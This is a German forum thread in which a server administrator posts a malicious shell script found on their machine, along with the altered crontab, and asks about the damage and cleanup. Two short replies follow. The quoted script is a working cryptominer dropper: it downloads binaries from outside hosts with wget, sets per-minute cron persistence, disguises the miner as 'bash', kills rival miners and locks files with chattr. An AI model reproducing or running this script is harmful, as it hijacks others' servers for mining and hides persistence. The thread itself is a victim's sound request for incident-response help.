Ich habe folgendes Script auf meinem Server entdeckt:
Bash
#!/bin/sh
crontab -r
cd /tmp
rm -rf a* c* update*
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
wget http://www.pigicrm.com/a >> /dev/null &&
chmod u+x update
rm -rf /etc/cron.hourly/update
cp update /etc/cron.hourly/
chattr -ia bash
chattr -ia *
wget http://70.32.88.93/clamav
wget http://70.32.88.93/sh
chmod +x sh
chmod +x clamav
mv clamav bash
kill -9 `ps x|grep miner|grep -v grep|awk '{print $1}'`
kill -9 `ps x|grep stratum|grep -v grep|awk '{print $1}'`
kill -9 `ps x|grep apacheX|grep -v grep|awk '{print $1}'`
kill -9 `ps x|grep pwnnetd3|grep -v grep|awk '{print $1}'`
PATH="." bash -o stratum+tcp://pool.linuxd.net:3333 -O DeBil.1:x -B
PATH="." sh -o stratum+tcp://pool.linuxd.net:3333 -O DeBil.1:x -B
chattr +ia bash
chattr +ia sh
Meine Crontabs waren folgendermaßen verändert:
Code
* * * * * /tmp/mc-root/update >/dev/null 2>&1Wer kann sehen welchen Schaden dies nun ausgelöst hat und wie ich das bestmöglich beheben kann? Danke!
PS: Alle Vorkomnisse der falschen Cron-Kommandos, der update Datrein und der Ordner mech.dir habe ich nun gelöscht.
SH kann alles sein. Würde das mal beobachten, welche Sicherheitsvorkehrungen hast du auf den Server eigentlich getroffen bzw. was benutzt du zum sichern deines Systems ?
). Würde ehr ausfindig machen wie das Script auf dem Server gekommen ist, und wie ich das Leck schließen kann.
